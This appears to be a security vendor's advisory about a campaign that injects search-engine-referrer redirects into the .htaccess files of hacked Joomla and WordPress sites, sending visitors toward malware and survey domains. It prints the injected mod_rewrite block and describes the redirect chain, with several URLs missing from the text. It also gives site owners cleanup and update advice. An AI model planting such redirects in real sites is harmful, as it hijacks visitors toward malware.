Htaccess redirection to sweepstakesandcontestsinfo dot com


Since last week we started to see a large increase in the number of sites compromised with a .htaccess redirection to

This domain has been used to distribute malware for a while (generally through javascript injections), but only in the last few days that we started to see it being done via .htaccess.

This is what gets added to the .htaccess of the compromised sites:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*(msn|live|altavista|excite|ask|aol|google|mail|bing|yahoo).*$ [NC]
RewriteRule .* [R,L]

So anyone that visits the compromised sites from a search engine will get redirected (and some times have their personal computer compromised). This is what happens on the browser of the visitor:

  1. Visits compromised site by clicking from a search engine
  2. Browser is redirected to (and variations
  3. Browser is redirected to (or or and variations)
  4. Browser is again redirected to (and other domains)

From there, it can be sent to online surveys (, malware web sites, fake search engines and anywhere the attackers decide.

If your site is compromised, check your .htaccess to see if it was modified. If you are not sure, run a scan on your site here:


How are the sites getting hacked?

That’s a good question, we are seeing it being used in combination with timthumb.php attacks and on outdated Joomla/WordPress sites.

So you have make sure all of them are updated to avoid getting reinfected.

*Also, the site is not blacklisted by Google (or in any major blacklist). So it makes spreading the malware even easily.
